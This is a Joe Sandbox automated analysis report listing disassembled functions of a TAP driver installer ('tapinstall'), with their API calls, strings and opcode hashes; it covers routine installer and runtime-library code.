                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Decorator::get$Name::operator+=$DimensionSigned$Name$Name::operator+$DecoratedName::$DataName::doName::getPcharStringType
                                                                                                                  • String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
                                                                                                                  • API String ID: 283215372-4167119577
                                                                                                                  • Opcode ID: 7b301788f1c808b6dbcb0f6369f2a7d1d94637bd6059d460935599cb42e21360
                                                                                                                  • Instruction ID: a14e5e24544c2ff0264ad454a2b8fe753a6eaa9ce03c2a57ac6e3072bda5d5a1
                                                                                                                  • Opcode Fuzzy Hash: 7b301788f1c808b6dbcb0f6369f2a7d1d94637bd6059d460935599cb42e21360
                                                                                                                  • Instruction Fuzzy Hash: 84B14D62F0C64299FB28BB64D4982FCB3629BD4744FD44036CA2D17AD5DE7CE50AC3A1
                                                                                                                  Function 00007FF7FEDDE070 Relevance: 52.9, APIs: 35, Instructions: 365COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator+$Decorator::get$DataIndirectNameName::Name::doName::operator+=PcharScopeType
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3173522582-0
                                                                                                                  • Opcode ID: 0f8fc59074820430211e5edccfc92087bcdcd104a7c28eeafd2b21ab4534d517
                                                                                                                  • Instruction ID: 062aaff3faf764cebc096a6651edea2aa952cb060a8cdc93e9dc0fc5ca4031a9
                                                                                                                  • Opcode Fuzzy Hash: 0f8fc59074820430211e5edccfc92087bcdcd104a7c28eeafd2b21ab4534d517
                                                                                                                  • Instruction Fuzzy Hash: 40025C72F08A829DE721EF64D8401FCBBB4EB84788B844135DE1E57AD9DE38D519C3A0
                                                                                                                  Function 00007FF7FEDD6C90 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 208libraryfileloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetupOpenInfFileW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6CD1
                                                                                                                  • GetLastError.KERNEL32(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6CE0
                                                                                                                  • SetupFindFirstLineW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6D0C
                                                                                                                  • SetupGetStringFieldW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6D32
                                                                                                                  • SetupFindFirstLineW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6D89
                                                                                                                  • SetupGetStringFieldW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6DB3
                                                                                                                  • CLSIDFromString.OLE32(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6DC9
                                                                                                                  • SetupDiGetClassDescriptionExW.SETUPAPI(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6DF2
                                                                                                                  • LoadLibraryW.KERNEL32(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6E3A
                                                                                                                  • GetProcAddress.KERNEL32(?,?,00000000,00000000,?,00007FF7FEDD3786), ref: 00007FF7FEDD6E5E
                                                                                                                  • GetLastError.KERNEL32 ref: 00007FF7FEDD6EA1
                                                                                                                  • GetLastError.KERNEL32 ref: 00007FF7FEDD6EAE
                                                                                                                  • SetupFindFirstLineW.SETUPAPI ref: 00007FF7FEDD6F08
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$ErrorFindFirstLastLineString$Field$AddressClassDescriptionFileFromLibraryLoadOpenProc
                                                                                                                  • String ID: ClassGUID$DriverVer$Provider$SetupVerifyInfFile$Version$setupapi.dll
                                                                                                                  • API String ID: 2815445529-1638047923
                                                                                                                  • Opcode ID: ccf9f4b43b9fad1fa27bc109124458a99df6b9793aee5966b8e4b19aae1b4082
                                                                                                                  • Instruction ID: b6f4d65d4bfb71f500f999f209cc1891ec2c002f2efb7302d204de520d9bd023
                                                                                                                  • Opcode Fuzzy Hash: ccf9f4b43b9fad1fa27bc109124458a99df6b9793aee5966b8e4b19aae1b4082
                                                                                                                  • Instruction Fuzzy Hash: E5915021E08A8291F724BF61E8146FAA251EFC4B80FC08135D92E57AD5EF7CE549C7E1
                                                                                                                  Function 00007FF7FEE092EC Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09307
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09326
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE08300
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09345
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: LoadLibraryExW.KERNELBASE(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE0824B
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: GetLastError.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE08259
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: LoadLibraryExW.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE0829B
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09364
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: FreeLibrary.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE082D4
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09383
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE093A2
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE093C1
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE093E0
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE093FF
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0941E
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
                                                                                                                  • String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
                                                                                                                  • API String ID: 3255926029-3252031757
                                                                                                                  • Opcode ID: f5ddb8dc0f958fd9ea081183d1d9282a99c58eacf92a6cfce449543f48408e78
                                                                                                                  • Instruction ID: bfae4c03ceb9e79d63b19fcf0644a99a46f6ef54fcf6dd84f8a5dcd643d21462
                                                                                                                  • Opcode Fuzzy Hash: f5ddb8dc0f958fd9ea081183d1d9282a99c58eacf92a6cfce449543f48408e78
                                                                                                                  • Instruction Fuzzy Hash: 4D316364D0AA47A1F704FF64FC525F0A322AF86344FC0143AD52E161E59FBDA66AC3E1
                                                                                                                  Function 00007FF7FEDD61F0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 191COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Get_$Des_Res_$Conf_Log_$First_Free_Handle$Data_Next_$DetailDeviceInfoListNode_SetupSize_Status_
                                                                                                                  • String ID: DMA : %u$IO : %04I64x-%04I64x$IRQ : %u$MEM : %08I64x-%08I64x
                                                                                                                  • API String ID: 2957808706-3427375868
                                                                                                                  • Opcode ID: a4e06f8e4a64dca8354c6e1283bba188da2d5f0b0782a176430cef695ac593de
                                                                                                                  • Instruction ID: 6192f3fe36baa24840c99354ac29d7e3d319cada378d0f102ddf943cf93d5001
                                                                                                                  • Opcode Fuzzy Hash: a4e06f8e4a64dca8354c6e1283bba188da2d5f0b0782a176430cef695ac593de
                                                                                                                  • Instruction Fuzzy Hash: 11917332A1C64286E760AF24E44467AF764FBC5B84F844035EA6E47AD9DF3CE444CBA0
                                                                                                                  Function 00007FF7FEDD2C90 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 380serviceregistryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Close$OpenService$ClassHandleSetup$ErrorFromGuidsLastManagerName_invalid_parameter_noinfo
                                                                                                                  • String ID: LowerFilters$UpperFilters$lower$upper
                                                                                                                  • API String ID: 159866419-3449112408
                                                                                                                  • Opcode ID: 04d78bdca285827dd18647d1427b74e056b8c47343acbe8526b1cd4a7cfcbc6c
                                                                                                                  • Instruction ID: 48aa39a0cad4c73d0505e1b5b761025a346354faf699d1a368ba783429e06fe4
                                                                                                                  • Opcode Fuzzy Hash: 04d78bdca285827dd18647d1427b74e056b8c47343acbe8526b1cd4a7cfcbc6c
                                                                                                                  • Instruction Fuzzy Hash: 93E1DF22E09A4681EB74AB15E54037AE2A5FFC4BD0F848135DE2E47FD5DE3CE84583A0
                                                                                                                  Function 00007FF7FEDE1088 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 195COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Decorator::getNameReplicator::operator+=Template
                                                                                                                  • String ID: generic-type-$template-parameter-
                                                                                                                  • API String ID: 2731555906-13229604
                                                                                                                  • Opcode ID: 84b3677d49f92f823a7e74a3a09ad7f2eb3bf894bac47f523860a981e25c4147
                                                                                                                  • Instruction ID: dd0549c310e3e8cb36fd32ee0da45ddf8feebfe12a55183d077fc4406cb7a87e
                                                                                                                  • Opcode Fuzzy Hash: 84b3677d49f92f823a7e74a3a09ad7f2eb3bf894bac47f523860a981e25c4147
                                                                                                                  • Instruction Fuzzy Hash: 6D91C032F18A4698FB15EF64D8501BCB7A5AB84B84BC04136DA2E47BD5DF3DE805C3A0
                                                                                                                  Function 00007FF7FEDD5BD0 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 272timeCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$Driver$Info$InstallParams$DeviceEnumFormatListTime$BuildDateDestroyDetailErrorFileFreeLastLocalMessageSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2668181066-3916222277
                                                                                                                  • Opcode ID: e4b5dfb2d01c01c868df09e416ecf3eefc922ffbc0b423e26137771d3025f2ca
                                                                                                                  • Instruction ID: ee8f670da39e152c6c3c06f334684bee7b9b5deca8f12e9a5218093ba42d68fc
                                                                                                                  • Opcode Fuzzy Hash: e4b5dfb2d01c01c868df09e416ecf3eefc922ffbc0b423e26137771d3025f2ca
                                                                                                                  • Instruction Fuzzy Hash: 95C16131A081818AF724BB61E4157FAB255EFC4784FC04439EA6E1BBC6CE7DE5448BE1
                                                                                                                  Function 00007FF7FEDE3800 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 316COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FrameHandler3::Unwind$BlockException$CatchDestructExecutionFramesHandlerHelperIs_bad_exception_allowedMatchNestedObjectSearchStateThrowTypestd::bad_alloc::bad_alloc
                                                                                                                  • String ID: csm$csm$csm
                                                                                                                  • API String ID: 15165021-393685449
                                                                                                                  • Opcode ID: 21b97b16db538992eb6a75333495f7bcb45038915a3eb3cb518b00d563e8fba0
                                                                                                                  • Instruction ID: 6e8de4f012f143bf0add8855b8daba708c58be2400756df239fc21e681a1c0d8
                                                                                                                  • Opcode Fuzzy Hash: 21b97b16db538992eb6a75333495f7bcb45038915a3eb3cb518b00d563e8fba0
                                                                                                                  • Instruction Fuzzy Hash: A2E18032A087418AEB28EF65D4453BDB7A0FB84798F900135EEAD57B95CF38E090C791
                                                                                                                  Function 00007FF7FEDD6530 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 116COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Des_Res_$Get_$Data_Free_HandleNext_$Size_
                                                                                                                  • String ID: DMA : %u$IO : %04I64x-%04I64x$IRQ : %u$MEM : %08I64x-%08I64x
                                                                                                                  • API String ID: 1110773400-3427375868
                                                                                                                  • Opcode ID: 9e4a8363610eefb0b6cbcea2d3461c166d1163f148688767d300006fdf73812f
                                                                                                                  • Instruction ID: 9e95a7cdab17a5856dfafdace7577474e0e30ff054ca05a3d1dfc3f4e65b4fda
                                                                                                                  • Opcode Fuzzy Hash: 9e4a8363610eefb0b6cbcea2d3461c166d1163f148688767d300006fdf73812f
                                                                                                                  • Instruction Fuzzy Hash: 95415E72E0864282E760AF25E554679E364FBC4B84F844039DE6E87BD9DE3CE445CBA0
                                                                                                                  Function 00007FF7FEDD5920 Relevance: 16.6, APIs: 11, Instructions: 150COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$Driver$DeviceFileInfoInstallParamsQueue$ListScan$BuildCallClassCloseDestroyDetailEnumErrorFormatFreeInstallerLastLocalMessageOpenSelected
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1606212837-0
                                                                                                                  • Opcode ID: e12b59f62743ec06b6094670a4a11f57fde35331bb7a5217e71e5602add53916
                                                                                                                  • Instruction ID: e8e05f3f3fa7bf96b9dfee7df7ddc208f754637bba80b75695f2b967fb430614
                                                                                                                  • Opcode Fuzzy Hash: e12b59f62743ec06b6094670a4a11f57fde35331bb7a5217e71e5602add53916
                                                                                                                  • Instruction Fuzzy Hash: 22616231A1868286F730AF21E8547FAB3A5FBC4B94F804235DA2E07AD5DF3CE5458790
                                                                                                                  Function 00007FF7FEDE3CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Exception$DestructHelperIs_bad_exception_allowedMatchObjectThrowTypestd::bad_alloc::bad_alloc
                                                                                                                  • String ID: csm$csm$csm
                                                                                                                  • API String ID: 3999431683-393685449
                                                                                                                  • Opcode ID: dd461791980e8857ea159d38e58e30428d4de1eaec1c9c9603251b4acd30a3b7
                                                                                                                  • Instruction ID: be0ab2f3a839a126591612368170cd1d296af2ea439dc4f666fda227fb4674b1
                                                                                                                  • Opcode Fuzzy Hash: dd461791980e8857ea159d38e58e30428d4de1eaec1c9c9603251b4acd30a3b7
                                                                                                                  • Instruction Fuzzy Hash: 3DE1D272A087828AEB24EF24D4443BDBBA0FB94748F514135EAAD47BD5CF38E481C791
                                                                                                                  Function 00007FF7FEDD2540 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$Device$Info$ClassCreateList$CallDestroyFullInstallerNamePathPropertyRegistry
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1846165353-3916222277
                                                                                                                  • Opcode ID: cea8426861f3347b505c897b4f246ebb9bfdbc3591874b8a41b436473b598dc7
                                                                                                                  • Instruction ID: 55068a6e5ceb26ca395bc226afc3b8d8ccd3a56be6f563178a59b57972f82244
                                                                                                                  • Opcode Fuzzy Hash: cea8426861f3347b505c897b4f246ebb9bfdbc3591874b8a41b436473b598dc7
                                                                                                                  • Instruction Fuzzy Hash: 39516F32A0868191EB30AF15E4047AAB3A5FBC4BA0F944235DAAD43BD4DF7CD545CB90
                                                                                                                  Function 00007FF7FEDE07B4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 76COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: NameName::Name::operator+Name::operator+=$Decorator::getDimensionName::doPcharSigned
                                                                                                                  • String ID: `template-parameter$void
                                                                                                                  • API String ID: 1951524168-4057429177
                                                                                                                  • Opcode ID: 7a7c9e4356da7ebb837bbe34803b1ef7ec7b8755a3141d29af5874025b868cc2
                                                                                                                  • Instruction ID: 956f1e7e5afe0fcc84e2a9298dcc12402962deaaad1f5f7d6257f39a283f61d1
                                                                                                                  • Opcode Fuzzy Hash: 7a7c9e4356da7ebb837bbe34803b1ef7ec7b8755a3141d29af5874025b868cc2
                                                                                                                  • Instruction Fuzzy Hash: 27313F21E18A4698FB14AB54E8942B9B361AB84B84FD44035C92D5BAD5DFBCE405C3E1
                                                                                                                  Function 00007FF7FEDDD948 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
